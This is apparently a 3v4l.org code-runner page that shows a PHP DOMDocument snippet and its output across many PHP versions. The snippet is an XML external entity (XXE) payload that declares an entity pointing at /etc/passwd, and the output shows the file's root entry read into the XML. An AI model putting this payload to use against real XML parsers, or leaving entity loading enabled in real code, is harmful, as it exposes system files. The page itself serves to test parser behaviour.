3v4l.org

run code in 300+ PHP versions simultaneously
<?php //libxml_disable_entity_loader(true); $dom = new DOMDocument; $dom->substituteEntities = true; $dom->loadXML( <<<'EOXML' <!DOCTYPE x [ <!ENTITY good "(good)"> <!ENTITY bad SYSTEM "/etc/passwd"> ]> <x> <good>&good;</good> <bad>&bad;</bad> </x> EOXML ); echo $dom->saveXML();
Output for 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.34, 8.2.0 - 8.2.30, 8.3.0 - 8.3.30, 8.4.1 - 8.4.18, 8.5.0 - 8.5.3
<?xml version="1.0"?> <!DOCTYPE x [ <!ENTITY good "(good)"> <!ENTITY bad SYSTEM "/etc/passwd"> ]> <x> <good>(good)</good> <bad>root:x:0:0::/root:/bin/bash </bad> </x>
preferences:
105 ms | 1523 KiB | 4 Q